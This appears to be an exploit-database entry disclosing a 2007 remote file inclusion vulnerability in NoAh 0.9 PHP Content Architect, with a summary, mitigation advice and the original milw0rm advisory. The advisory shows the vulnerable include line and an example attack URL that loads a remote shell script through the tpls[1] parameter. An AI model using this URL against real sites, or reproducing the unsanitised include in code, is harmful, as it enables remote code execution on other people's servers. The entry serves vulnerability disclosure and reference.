NoAh 0.9 The PHP Content Architect

vendor:

NoAh PHP Content Architect

by:

Unknown

N/A

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: NoAh PHP Content Architect

Affected Version From: NoAh 0.9

Affected Version To: NoAh 0.9

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

NoAh 0.9 The PHP Content Architect <= Remote File Inclusion Vulnerability

The vulnerability exists in the 'mfa_theme.php' file of the NoAh PHP Content Architect. An attacker can exploit this vulnerability by including a remote file through the 'tpls[1]' parameter in the URL. This can lead to remote code execution on the affected system.

Mitigation:

To mitigate this vulnerability, it is recommended to update to a patched version of the NoAh PHP Content Architect or apply a security patch if available. Additionally, proper input validation and sanitization should be implemented to prevent remote file inclusion vulnerabilities.

Source

Exploit-DB raw data:

##############################################################################################
##############################################################################################
#NoAh 0.9 The PHP Content Architect <=  Remote File Inclusion Vulnerability
#
#Dork::(
#
#Vuln Code
###################################################################################
#
#ERROR:noah/modules/noevents/templates/mfa_theme.php
#
<?php include($tpls[1]); ?>
#
#BUG:
#
#Example:http://site.com/path/noah/modules/noevents/templates/mfa_theme.php?tpls[1]=[[Sh3LL
Script]]
#
#Script Download
#############################################################################
#http://sourceforge.net/project/showfiles.php?group_id=131995&package_id=148681&release_id=318628
##############################################################################################
#
#kezzap66345@hotmail.com
#
#Special Thanks:##### x0r0n ##### ajan ##### siircicocuk
#####################################
##############################################################################################
##############################################################################################

# milw0rm.com [2007-05-06]